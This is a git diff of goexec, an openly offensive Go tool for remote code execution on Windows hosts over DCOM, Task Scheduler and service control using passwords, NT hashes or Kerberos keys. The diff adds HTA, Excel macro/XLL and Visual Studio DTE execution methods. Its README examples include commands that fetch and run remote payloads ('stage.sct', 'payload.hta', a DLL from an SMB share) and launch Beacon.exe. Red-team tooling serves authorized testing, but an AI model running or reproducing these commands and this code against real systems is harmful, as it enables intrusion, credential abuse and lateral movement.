diff --git a/.goreleaser.yaml b/.goreleaser.yaml index e8f5176..6fd7933 100644 --- a/.goreleaser.yaml +++ b/.goreleaser.yaml @@ -9,6 +9,8 @@ builds: - env: - CGO_ENABLED=0 ldflags: -s -w + flags: + - -trimpath goos: - darwin - windows @@ -16,10 +18,7 @@ builds: goarch: - amd64 - arm64 - - ignore: - - goos: windows - goarch: arm + - riscv64 #upx: # - enabled: true diff --git a/Dockerfile b/Dockerfile index c421382..d4cdac9 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,14 +1,14 @@ FROM golang:1.24-alpine AS goexec-builder LABEL builder="true" -WORKDIR /go/src/github.com/github.com/FalconOpsLLC/goexec +WORKDIR /go/src/github.com/FalconOpsLLC/goexec COPY . . ARG CGO_ENABLED=0 RUN go mod download -RUN go build -ldflags="-s -w" -o /go/bin/goexec +RUN go build -ldflags="-s -w" -trimpath -o /go/bin/goexec FROM scratch COPY --from="goexec-builder" /go/bin/goexec /goexec diff --git a/README.md b/README.md index 4d0b25b..4b49ba9 100644 --- a/README.md +++ b/README.md @@ -31,7 +31,7 @@ cd goexec CGO_ENABLED=0 go build -ldflags="-s -w" # (Optional) Install goexec to /usr/local/bin/goexec -sudo install ./goexec /usr/local/bin +sudo install goexec /usr/local/bin ``` ### Install with Docker @@ -94,8 +94,8 @@ Authentication: ### Fetching Remote Process Output -Although not recommended for live engagements or monitored environments due to OPSEC concerns, we've included the optional ability to fetch program output via SMB file transfer with the `-o`/`--output` flag. -Use of this flag will wrap the supplied command in `cmd.exe /c ... > \Windows\Temp\RANDOM` where `RANDOM` is a random GUID, then fetch the output file via SMB file transfer. +Although not recommended for live engagements or monitored environments due to OPSEC concerns, we've included the optional ability to fetch program output via SMB file transfer with the `-o`/`--out` flag. +Use of this flag will wrap the supplied command in `cmd.exe /c... >\Windows\Temp\RANDOM` where `RANDOM` is a random GUID, then fetch the output file via SMB file transfer. By default, the output collection will time out after 1 minute, but this can be adjusted with the `--out-timeout` flag. @@ -148,13 +148,13 @@ Execution: ```shell # Run an executable without arguments -./goexec wmi proc "$target" \ +goexec wmi proc "$target" \ -u "$auth_user" \ -p "$auth_pass" \ -e 'C:\Windows\Temp\Beacon.exe' \ # Authenticate with NT hash, fetch output from `cmd.exe /c whoami /all` -./goexec wmi proc "$target" \ +goexec wmi proc "$target" \ -u "$auth_user" \ -H "$auth_nt" \ -e 'cmd.exe' \ @@ -183,7 +183,7 @@ WMI: ```shell # Call StdRegProv.EnumKey - enumerate registry subkeys of HKLM\SYSTEM -./goexec wmi call "$target" \ +goexec wmi call "$target" \ -u "$auth_user" \ -p "$auth_pass" \ -C 'StdRegProv' \ @@ -193,10 +193,11 @@ WMI: ### DCOM Module (`dcom`) -The `dcom` module uses exposed Distributed Component Object Model (DCOM) objects to spawn processes. +The `dcom` module uses exposed Distributed Component Object Model (DCOM) objects to gain remote execution. > [!WARNING] > The DCOM module is generally less reliable than other modules because the underlying methods are often reliant on the target Windows version and specific Windows settings. +> Additionally, Kerberos auth is not officially supported by the DCOM module, but kudos if you can get it to work. ```text Usage: @@ -206,6 +207,9 @@ Available Commands: mmc Execute with the MMC20.Application DCOM object shellwindows Execute with the ShellWindows DCOM object shellbrowserwindow Execute with the ShellBrowserWindow DCOM object + htafile Execute with the HTAFile DCOM object + excel Execute with DCOM object(s) targeting Microsoft Excel + visualstudio Execute with DCOM object(s) targeting Microsoft Visual Studio ... [inherited flags] ... @@ -244,7 +248,7 @@ Execution: ```shell # Authenticate with NT hash, fetch output from `cmd.exe /c whoami /priv` to file -./goexec dcom mmc "$target" \ +goexec dcom mmc "$target" \ -u "$auth_user" \ -H "$auth_nt" \ -e 'cmd.exe' \ @@ -284,7 +288,7 @@ The app window argument (`--app-window`) must be one of the values described [he ```shell # Authenticate with local admin NT hash, execute `netstat.exe -anop tcp` w/ output -./goexec dcom shellwindows "$target" \ +goexec dcom shellwindows "$target" \ -u "$auth_user" \ -H "$auth_nt" \ -e 'netstat.exe' \ @@ -292,7 +296,7 @@ The app window argument (`--app-window`) must be one of the values described [he -o- # write to standard output # Authenticate with local admin password, open maximized notepad window on desktop -./goexec dcom shellwindows "$target" \ +goexec dcom shellwindows "$target" \ -u "$auth_user" \ -p "$auth_pass" \ -e 'notepad.exe' \ @@ -326,17 +330,190 @@ Execution: ```shell # Authenticate with NT hash, open explorer.exe maximized -./goexec dcom shellbrowserwindow "$target" \ +goexec dcom shellbrowserwindow "$target" \ -u "$auth_user@$domain" \ -H "$auth_nt" \ -e 'explorer.exe' \ --app-window 3 ``` +#### `htafile` Method (`dcom htafile`) + +The `htafile` method uses the exposed HTML Application object to call [`IPersistMoniker.Load`](https://learn.microsoft.com/en-us/previous-versions/aa458529(v=msdn.10)) with a client-supplied [URL moniker](https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-oshared/4948a119-c4e4-46b6-9609-0525118552e8). The URL can point to a URL of any format supported by `mshta.exe`. + +```text +Usage: + goexec dcom htafile [target] [flags] + +Execution: + -U, --url URL Load custom URL + --js string Execute JavaScript one-liner + --vbs string Execute VBScript one-liner + -e, --exec executable Remote Windows executable to invoke + -a, --args string Process command line arguments + -c, --command string Windows process command line (executable & arguments) + -o, --out file Fetch execution output to file or "-" for standard output + -m, --out-method string Method to fetch execution output (default "smb") + --out-timeout duration Output timeout duration (default 1m0s) + --no-delete-out Preserve output file on remote filesystem + +... [inherited flags] ... +``` + +##### Examples + +```shell +# Execute `net user` + print output +goexec dcom htafile "$target" \ + --user "${auth_user}@${domain}" \ + --password "$auth_pass" \ + --command 'net user' \ + --out - + +# Execute blind WSH JavaScript one-liner using admin NT hash +goexec dcom htafile "$target" \ + --user "${auth_user}@${domain}" \ + --nt-hash "$auth_nt" \ + --js 'GetObject("script:http://10.0.0.10:8001/stage.sct").Exec();close()' + +# Execute remote HTA file using admin NT hash +goexec dcom htafile "$target" \ + --user "${auth_user}@${domain}" \ + --nt-hash "$auth_nt" \ + --url "http://callback.lan/payload.hta" +``` + +#### Visual Studio `ExecuteCommand` Method (`dcom visualstudio dte`) + +The `visualstudio dte` method uses the exposed `VisualStudio.DTE` object to spawn a process via the `ExecuteCommand` method. +This method requires that the remote host has Microsoft Visual Studio installed. + +```text +Usage: + goexec dcom visualstudio dte [target] [flags] + +Visual Studio: + --vs-2019 Target Visual Studio 2019 + --vs-command string Visual Studio DTE command to execute + --vs-args string Visual Studio DTE command arguments + +Execution: + -e, --exec executable Remote Windows executable to invoke + -a, --args string Process command line arguments + -c, --command string Windows process command line (executable & arguments) + -o, --out file Fetch execution output to file or "-" for standard output + -m, --out-method string Method to fetch execution output (default "smb") + --out-timeout duration Output timeout duration (default 1m0s) + --no-delete-out Preserve output file on remote filesystem +``` + +##### Examples + +```shell +# Execute `sc query` (batch) + save output to services.txt +goexec dcom visualstudio dte "$target" \ + --user "${auth_user}@${domain}" \ + --password "$auth_pass" \ + --command 'sc query' -o services.txt + +# Execute `cmd.exe /c set` with output, target Visual Studio 2019 +goexec dcom visualstudio dte "$target" \ + --user "${auth_user}@${domain}" \ + --password "$auth_pass" \ + --vs-2019 \ + --exec 'cmd.exe' \ + --args '/c set' -o- +``` + +#### Excel Methods (`dcom excel`) + +The `dcom excel` command group contains remote execution methods targeting Microsoft Excel. +Each of these methods assume that the remote host has Excel installed. + +```text +Usage: + goexec dcom excel [command] [flags] + +Available Commands: + macro Execute using Excel 4.0 macros (XLM) + xll Execute by Loading an XLL add-in + +... [inherited flags] ... +``` + +#### Excel `ExecuteExcel4Macro` Method (`dcom excel macro`) + +The `excel macro` method uses the exposed `Excel.Application` DCOM object to call [`ExecuteExcel4Macro`](https://learn.microsoft.com/en-us/office/vba/api/excel.application.executeexcel4macro) with an arbitrary Excel 4.0 macro. +An Excel installation must be present on the remote host for this method to work. + +```text +Usage: + goexec dcom excel macro [target] [flags] + +Execution: + -M, --macro string XLM macro + --macro-file file XLM macro file + -e, --exec executable Remote Windows executable to invoke + -a, --args string Process command line arguments + -c, --command string Windows process command line (executable & arguments) + -o, --out file Fetch execution output to file or "-" for standard output + -m, --out-method string Method to fetch execution output (default "smb") + --out-timeout duration Output timeout duration (default 1m0s) + --no-delete-out Preserve output file on remote filesystem + +... [inherited flags] ... +``` + +##### Examples + +```shell +# Execute `query session` + print output +goexec dcom excel macro "$target" \ + --user "${auth_user}@${domain}" \ + --password "$auth_pass" \ + --command 'query session' -o- + +# Use admin NT hash to directly call a Win32 API procedure via XLM +goexec dcom excel macro "$target" \ + --user "${auth_user}@${domain}" \ + --nt-hash "$auth_nt" \ + -M 'CALL("user32","MessageBoxA","JJCCJ",1,"GoExec rules","bryan was here",0)' +``` + +#### (Auxiliary) Excel `RegisterXLL` Method (`dcom excel xll`) + +The `xll` method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL from the remote filesystem or an UNC path. +This method requires that the remote host has Microsoft Excel installed. + +```text +Usage: + goexec dcom excel xll [target] [flags] + +Execution: + --xll path XLL/DLL local or UNC path + +... [inherited flags] ... +``` + +##### Examples + +```shell +# Use admin password to execute XLL/DLL from an uploaded file +goexec dcom excel xll "$target" \ + --user "${auth_user}" \ + --nt-hash "$auth_nt" \ + --xll 'C:\Users\localuser\Desktop\file.xll' + +# Use admin NT hash to execute XLL/DLL from an SMB share +goexec dcom excel xll "$target" \ + --user "${auth_user}@${domain}" \ + --nt-hash "$auth_nt" \ + --xll '\\smbserver.lan\share\addin.xll' +``` + ### Task Scheduler Module (`tsch`) The `tsch` module makes use of the Windows Task Scheduler service ([MS-TSCH](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/)) to spawn processes on the remote target. - ```text Usage: goexec tsch [command] [flags] @@ -393,7 +570,7 @@ Execution: # Authenticate with NT hash via Kerberos, # register task at \Microsoft\Windows\GoExec, # execute `C:\Windows\Temp\Beacon.exe` -./goexec tsch create "$target" \ +goexec tsch create "$target" \ --user "${auth_user}@${domain}" \ --nt-hash "$auth_nt" \ --dc "$dc_ip" \ @@ -404,7 +581,7 @@ Execution: # Authenticate using Kerberos AES key, # execute `C:\Windows\Temp\Seatbelt.exe -group=system`, # collect output with lengthened (5 minute) timeout -./goexec tsch create "$target" \ +goexec tsch create "$target" \ --user "${auth_user}@${domain}" \ --dc "$dc_ip" \ --aes-key "$auth_aes" \ @@ -441,7 +618,7 @@ Execution: ```shell # Use random task name, execute `notepad.exe` on desktop session 1 -./goexec tsch demand "$target" \ +goexec tsch demand "$target" \ --user "$auth_user" \ --password "$auth_pass" \ --exec 'notepad.exe' \ @@ -450,7 +627,7 @@ Execution: # Authenticate with NT hash via Kerberos, # register task at \Microsoft\Windows\GoExec (will be deleted), # execute `C:\Windows\System32\cmd.exe /c set` with output -./goexec tsch demand "$target" \ +goexec tsch demand "$target" \ --user "${auth_user}@${domain}" \ --nt-hash "$auth_nt" \ --dc "$dc_ip" \ @@ -491,7 +668,7 @@ Execution: ```shell # Enable debug logging, Modify "\Microsoft\Windows\UPnP\UPnPHostConfig" to run `cmd.exe /c whoami /all` with output -./goexec tsch change $target --debug \ +goexec tsch change $target --debug \ -u "${auth_user}" \ -p "${auth_pass}" \ -t '\Microsoft\Windows\UPnP\UPnPHostConfig' \ @@ -594,7 +771,7 @@ Execution: ```shell # Used named pipe transport, Modify the PlugPlay service to execute `C:\Windows\System32\cmd.exe /c C:\Windows\Temp\stage.bat` -./goexec scmr change $target \ +goexec scmr change $target \ -u "$auth_user" \ -p "$auth_pass" \ -F "ncacn_np:" \ diff --git a/cmd/args.go b/cmd/args.go index 7a86248..c3b359a 100644 --- a/cmd/args.go +++ b/cmd/args.go @@ -136,6 +136,7 @@ func argsRpcClient(proto string, endpoint string) func(cmd *cobra.Command, args func(cmd *cobra.Command, args []string) (err error) { switch { case rpcClient.Endpoint != "": + case rpcClient.Filter != "": case endpoint == "": rpcClient.UseEpm = true default: diff --git a/cmd/dcom.go b/cmd/dcom.go index d1c4ffd..79fbd67 100644 --- a/cmd/dcom.go +++ b/cmd/dcom.go @@ -2,6 +2,10 @@ package cmd import ( "context" + "fmt" + "io" + "os" + "strings" "github.com/FalconOpsLLC/goexec/pkg/goexec" dcomexec "github.com/FalconOpsLLC/goexec/pkg/goexec/dcom" @@ -18,19 +22,48 @@ func dcomCmdInit() { dcomMmcCmdInit() dcomShellWindowsCmdInit() dcomShellBrowserWindowCmdInit() + dcomHtafileCmdInit() + dcomExcelCmdInit() + dcomVisualStudioCmdInit() dcomCmd.PersistentFlags().AddFlagSet(defaultAuthFlags.Flags) dcomCmd.PersistentFlags().AddFlagSet(defaultLogFlags.Flags) dcomCmd.PersistentFlags().AddFlagSet(defaultNetRpcFlags.Flags) - dcomCmd.AddCommand(dcomMmcCmd, dcomShellWindowsCmd, dcomShellBrowserWindowCmd) + dcomCmd.AddCommand( + dcomMmcCmd, + dcomShellWindowsCmd, + dcomShellBrowserWindowCmd, + dcomHtafileCmd, + dcomExcelCmd, + dcomVisualStudioCmd, + ) +} + +func dcomExcelCmdInit() { + cmdFlags[dcomExcelCmd] = []*flagSet{ + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomExcelMacroCmdInit() + dcomExcelXllCmdInit() + dcomExcelCmd.AddCommand(dcomExcelMacroCmd, dcomExcelXllCmd) +} + +func dcomVisualStudioCmdInit() { + cmdFlags[dcomVisualStudioCmd] = []*flagSet{ + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomVisualStudioDteCmdInit() + dcomVisualStudioCmd.AddCommand(dcomVisualStudioDteCmd) } func dcomMmcCmdInit() { dcomMmcExecFlags := newFlagSet("Execution") - registerExecutionFlags(dcomMmcExecFlags.Flags) registerExecutionOutputFlags(dcomMmcExecFlags.Flags) - dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WorkingDirectory, "directory", `C:\`, "Working `directory`") dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WindowState, "window", "Minimized", "Window state") @@ -48,11 +81,9 @@ func dcomMmcCmdInit() { func dcomShellWindowsCmdInit() { dcomShellWindowsExecFlags := newFlagSet("Execution") - registerExecutionFlags(dcomShellWindowsExecFlags.Flags) registerExecutionOutputFlags(dcomShellWindowsExecFlags.Flags) - - dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WorkingDirectory, "directory", `C:\`, "Working `directory`") + dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WorkingDirectory, "directory", `C:\`, "Working directory `path`") dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WindowState, "app-window", "0", "Application window state `ID`") cmdFlags[dcomShellWindowsCmd] = []*flagSet{ @@ -69,11 +100,9 @@ func dcomShellWindowsCmdInit() { func dcomShellBrowserWindowCmdInit() { dcomShellBrowserWindowExecFlags := newFlagSet("Execution") - registerExecutionFlags(dcomShellBrowserWindowExecFlags.Flags) registerExecutionOutputFlags(dcomShellBrowserWindowExecFlags.Flags) - - dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WorkingDirectory, "directory", `C:\`, "Working `directory`") + dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WorkingDirectory, "directory", `C:\`, "Working directory `path`") dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WindowState, "app-window", "0", "Application window state `ID`") cmdFlags[dcomShellBrowserWindowCmd] = []*flagSet{ @@ -88,10 +117,99 @@ func dcomShellBrowserWindowCmdInit() { dcomShellBrowserWindowCmd.MarkFlagsOneRequired("command", "exec") } +func dcomHtafileCmdInit() { + dcomHtafileExecFlags := newFlagSet("Execution") + dcomHtafileExecFlags.Flags.StringVarP(&dcomHtafile.Url, "url", "U", "", "Load custom `URL`") + dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Javascript, "js", "", "Execute JavaScript one-liner") + dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Vbscript, "vbs", "", "Execute VBScript one-liner") + registerExecutionFlags(dcomHtafileExecFlags.Flags) + registerExecutionOutputFlags(dcomHtafileExecFlags.Flags) + + cmdFlags[dcomHtafileCmd] = []*flagSet{ + dcomHtafileExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomHtafileCmd.Flags().AddFlagSet(dcomHtafileExecFlags.Flags) + + // Constraints + dcomHtafileCmd.MarkFlagsOneRequired("command", "exec", "url", "js", "vbs") +} + +func dcomExcelMacroCmdInit() { + dcomExcelMacroExecFlags := newFlagSet("Execution") + dcomExcelMacroExecFlags.Flags.StringArrayVarP(&dcomExcelMacro.Macros, "macro", "M", nil, "XLM macro `code`") + dcomExcelMacroExecFlags.Flags.StringVar(&dcomExcelMacro.MacroFile, "macro-file", "", "XLM macro `file`") + registerExecutionFlags(dcomExcelMacroExecFlags.Flags) + registerExecutionOutputFlags(dcomExcelMacroExecFlags.Flags) + + cmdFlags[dcomExcelMacroCmd] = []*flagSet{ + dcomExcelMacroExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomExcelMacroCmd.Flags().AddFlagSet(dcomExcelMacroExecFlags.Flags) + + // Constraints + dcomExcelMacroCmd.MarkFlagsOneRequired("command", "exec", "macro", "macro-file") + dcomExcelMacroCmd.MarkFlagsMutuallyExclusive("command", "exec", "macro", "macro-file") + dcomExcelMacroCmd.MarkFlagsMutuallyExclusive("macro", "macro-file", "out") +} + +func dcomVisualStudioDteCmdInit() { + dcomVisualStudioDteVsFlags := newFlagSet("Visual Studio") + dcomVisualStudioDteVsFlags.Flags.BoolVar(&dcomVisualStudioDte.Is2019, "vs-2019", false, "Target Visual Studio 2019") + dcomVisualStudioDteVsFlags.Flags.StringVar(&dcomVisualStudioDte.CommandName, "vs-command", "", "Visual Studio DTE command to execute") + dcomVisualStudioDteVsFlags.Flags.StringVar(&dcomVisualStudioDte.CommandArgs, "vs-args", "", "Visual Studio DTE command arguments") + + dcomVisualStudioDteExecFlags := newFlagSet("Execution") + registerExecutionFlags(dcomVisualStudioDteExecFlags.Flags) + registerExecutionOutputFlags(dcomVisualStudioDteExecFlags.Flags) + + cmdFlags[dcomVisualStudioDteCmd] = []*flagSet{ + dcomVisualStudioDteVsFlags, + dcomVisualStudioDteExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomVisualStudioDteCmd.Flags().AddFlagSet(dcomVisualStudioDteVsFlags.Flags) + dcomVisualStudioDteCmd.Flags().AddFlagSet(dcomVisualStudioDteExecFlags.Flags) + + // Constraints + dcomVisualStudioDteCmd.MarkFlagsOneRequired("command", "exec", "vs-command") + dcomVisualStudioDteCmd.MarkFlagsMutuallyExclusive("command", "exec", "vs-command") + dcomVisualStudioDteCmd.MarkFlagsMutuallyExclusive("vs-command", "out") +} + +func dcomExcelXllCmdInit() { + dcomExcelXllExecFlags := newFlagSet("Execution") + dcomExcelXllExecFlags.Flags.StringVar(&dcomExcelXll.XllLocation, "xll", "", "XLL/DLL local or UNC `path`") + + cmdFlags[dcomExcelXllCmd] = []*flagSet{ + dcomExcelXllExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomExcelXllCmd.Flags().AddFlagSet(dcomExcelXllExecFlags.Flags) + + // Constraints + if err := dcomExcelXllCmd.MarkFlagRequired("xll"); err != nil { + panic(err) + } +} + var ( - dcomMmc dcomexec.DcomMmc - dcomShellWindows dcomexec.DcomShellWindows - dcomShellBrowserWindow dcomexec.DcomShellBrowserWindow + dcomMmc = dcomexec.DcomMmc{} + dcomShellWindows = dcomexec.DcomShellWindows{} + dcomShellBrowserWindow = dcomexec.DcomShellBrowserWindow{} + dcomHtafile = dcomexec.DcomHtafile{} + dcomExcelMacro = dcomexec.DcomExcelMacro{} + dcomExcelXll = dcomexec.DcomExcelXll{} + dcomVisualStudioDte = dcomexec.DcomVisualStudioDte{} dcomCmd = &cobra.Command{ Use: "dcom", @@ -99,7 +217,21 @@ var ( Long: `Description: The dcom module uses exposed Distributed Component Object Model (DCOM) objects to spawn processes.`, GroupID: "module", - Args: cobra.NoArgs, + Args: cobra.ArbitraryArgs, + } + + dcomExcelCmd = &cobra.Command{ + Use: "excel [method]", + Short: "Execute with DCOM object(s) targeting Microsoft Excel", + Long: `Description: + Commands in the excel group use exposed Excel DCOM objects to gain remote execution`, + } + + dcomVisualStudioCmd = &cobra.Command{ + Use: "visualstudio [method]", + Short: "Execute with DCOM object(s) targeting Microsoft Visual Studio", + Long: `Description: + Commands in the visualstudio group use exposed Visual Studio DCOM objects to gain remote execution`, } dcomMmcCmd = &cobra.Command{ @@ -108,19 +240,13 @@ var ( Long: `Description: The mmc method uses the exposed MMC20.Application object to call Document.ActiveView.ShellExec, and ultimately spawn a process on the remote host.`, - Args: args( - argsRpcClient("host", ""), + Args: args(argsRpcClient("cifs", ""), argsOutput("smb"), argsAcceptValues("window", &dcomMmc.WindowState, "Minimized", "Maximized", "Restored"), ), Run: func(cmd *cobra.Command, args []string) { dcomMmc.Client = &rpcClient - dcomMmc.IO = exec - dcomMmc.ClassID = dcomexec.Mmc20Uuid - - ctx := log.With(). - Str("module", dcomexec.ModuleName). - Str("method", dcomexec.MethodMmc). + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodMmc). Logger().WithContext(gssapi.NewSecurityContext(context.Background())) if err := goexec.ExecuteCleanMethod(ctx, &dcomMmc, &exec); err != nil { @@ -135,19 +261,13 @@ var ( Long: `Description: The shellwindows method uses the exposed ShellWindows DCOM object on older Windows installations to call Item().Document.Application.ShellExecute, and spawn the provided process.`, - Args: args( - argsRpcClient("host", ""), + Args: args(argsRpcClient("host", ""), argsOutput("smb"), argsAcceptValues("app-window", &dcomShellWindows.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"), ), Run: func(cmd *cobra.Command, args []string) { dcomShellWindows.Client = &rpcClient - dcomShellWindows.IO = exec - dcomShellWindows.ClassID = dcomexec.ShellWindowsUuid - - ctx := log.With(). - Str("module", dcomexec.ModuleName). - Str("method", dcomexec.MethodShellWindows). + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellWindows). Logger().WithContext(gssapi.NewSecurityContext(context.Background())) if err := goexec.ExecuteCleanMethod(ctx, &dcomShellWindows, &exec); err != nil { @@ -162,19 +282,13 @@ var ( Long: `Description: The shellbrowserwindow method uses the exposed ShellBrowserWindow DCOM object on older Windows installations to call Document.Application.ShellExecute, and spawn the provided process.`, - Args: args( - argsRpcClient("host", ""), + Args: args(argsRpcClient("host", ""), argsOutput("smb"), argsAcceptValues("app-window", &dcomShellBrowserWindow.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"), ), Run: func(cmd *cobra.Command, args []string) { dcomShellBrowserWindow.Client = &rpcClient - dcomShellBrowserWindow.IO = exec - dcomShellBrowserWindow.ClassID = dcomexec.ShellBrowserWindowUuid - - ctx := log.With(). - Str("module", dcomexec.ModuleName). - Str("method", dcomexec.MethodShellBrowserWindow). + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellBrowserWindow). Logger().WithContext(gssapi.NewSecurityContext(context.Background())) if err := goexec.ExecuteCleanMethod(ctx, &dcomShellBrowserWindow, &exec); err != nil { @@ -182,4 +296,99 @@ var ( } }, } + + dcomHtafileCmd = &cobra.Command{ + Use: "htafile [target]", + Short: "Execute with the HTAFile DCOM object", + Long: `Description: + The htafile method uses the exposed "HTML Application" DCOM object to load a remote HTA application or execute inline. + This is made possible by the Load method of the IPersistMoniker interface.`, + Args: args(argsRpcClient("host", ""), argsOutput("smb")), + RunE: func(cmd *cobra.Command, args []string) error { + dcomHtafile.Client = &rpcClient + dcomHtafile.Url = dcomexec.HtafileGetUrl(dcomHtafile.Url, dcomHtafile.Javascript, dcomHtafile.Vbscript, &exec) + + if url := strings.ToLower(dcomHtafile.Url); (strings.HasPrefix(url, "javascript:") || strings.HasPrefix(url, "vbscript:")) && len(url) > 508 { + return fmt.Errorf("script URL exceeds maximum length supported by mshta.exe (%d > 508)", len(url)) + } + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodHtafile). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomHtafile, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + return nil + }, + } + + dcomExcelMacroCmd = &cobra.Command{ + Use: "macro [target]", + Short: "Execute using Excel 4.0 macros (XLM)", + Long: `Description: + The macro method uses the exposed Excel.Application DCOM object to call ExecuteExcel4Macro, thus executing + XLM macros at will. This method requires that the remote host has Microsoft Excel installed.`, + Args: args(argsRpcClient("host", ""), argsOutput("smb"), + func(*cobra.Command, []string) error { + if dcomExcelMacro.MacroFile != "" { + f, err := os.Open(dcomExcelMacro.MacroFile) + if err != nil { + return fmt.Errorf("open macro file: %w", err) + } + defer func() { _ = f.Close() }() + b, err := io.ReadAll(f) + if err != nil { + return fmt.Errorf("read macro file: %w", err) + } + dcomExcelMacro.Macros = strings.Split(string(b), "\n") + } + return nil + }, + ), + Run: func(*cobra.Command, []string) { + dcomExcelMacro.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelMacro). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomExcelMacro, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } + + dcomExcelXllCmd = &cobra.Command{ + Use: "xll [target]", + Short: "Execute by Loading an XLL add-in", + Long: `Description: + The xll method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL. + The XLL location (--xll) can be a path on the remote filesystem or an UNC path. This method requires that the + remote host has Microsoft Excel installed.`, + Args: args(argsRpcClient("host", "")), + Run: func(*cobra.Command, []string) { + dcomExcelXll.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelXLL). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanAuxiliaryMethod(ctx, &dcomExcelXll); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } + + dcomVisualStudioDteCmd = &cobra.Command{ + Use: "dte [target]", + Short: "Execute with the VisualStudio.DTE object", + Long: `Description: + The dte method uses the exposed VisualStudio.DTE object to spawn a process via the ExecuteCommand method. This method + requires that the remote host has Microsoft Visual Studio installed.`, + Args: args(argsRpcClient("host", ""), argsOutput("smb")), + Run: func(*cobra.Command, []string) { + dcomVisualStudioDte.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodVisualStudioDTE). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomVisualStudioDte, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } ) diff --git a/go.mod b/go.mod index a0cfe6e..8b5ece9 100644 --- a/go.mod +++ b/go.mod @@ -9,14 +9,14 @@ toolchain go1.24.4 require ( github.com/RedTeamPentesting/adauth v0.5.0 github.com/google/uuid v1.6.0 - github.com/oiweiwei/go-msrpc v1.2.7 + github.com/oiweiwei/go-msrpc v1.2.8 github.com/oiweiwei/go-smb2.fork v1.0.0 github.com/rs/zerolog v1.34.0 - github.com/spf13/cobra v1.9.1 - github.com/spf13/pflag v1.0.7 - golang.org/x/net v0.43.0 - golang.org/x/term v0.34.0 - golang.org/x/text v0.28.0 + github.com/spf13/cobra v1.10.1 + github.com/spf13/pflag v1.0.10 + golang.org/x/net v0.44.0 + golang.org/x/term v0.35.0 + golang.org/x/text v0.29.0 ) require ( @@ -33,7 +33,7 @@ require ( github.com/mattn/go-colorable v0.1.14 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/oiweiwei/gokrb5.fork/v9 v9.0.4 // indirect - golang.org/x/crypto v0.41.0 // indirect - golang.org/x/sys v0.35.0 // indirect + golang.org/x/crypto v0.42.0 // indirect + golang.org/x/sys v0.36.0 // indirect software.sslmate.com/src/go-pkcs12 v0.6.0 // indirect ) diff --git a/go.sum b/go.sum index 0386ad2..1fa7341 100644 --- a/go.sum +++ b/go.sum @@ -42,8 +42,8 @@ github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/ github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= -github.com/oiweiwei/go-msrpc v1.2.7 h1:sDZsoeOCwQSqndZQ4QFeEaAWrSUilNal2tPYhzPj18U= -github.com/oiweiwei/go-msrpc v1.2.7/go.mod h1:UCclo9KdJ9TDNQw/RtFSgV8u9c+KhPvidtGeLeXj9ls= +github.com/oiweiwei/go-msrpc v1.2.8 h1:myqs335MG/BmNAxZ/+ojh4CFONMo35q5NockkG+6uBw= +github.com/oiweiwei/go-msrpc v1.2.8/go.mod h1:UCclo9KdJ9TDNQw/RtFSgV8u9c+KhPvidtGeLeXj9ls= github.com/oiweiwei/go-smb2.fork v1.0.0 h1:xHq/eYPM8hQEO/nwCez8YwHWHC8mlcsgw/Neu52fPN4= github.com/oiweiwei/go-smb2.fork v1.0.0/go.mod h1:h0CzLVvGAmq39izdYVHKyI5cLv6aHdbQAMKEe4dz4N8= github.com/oiweiwei/gokrb5.fork/v9 v9.0.4 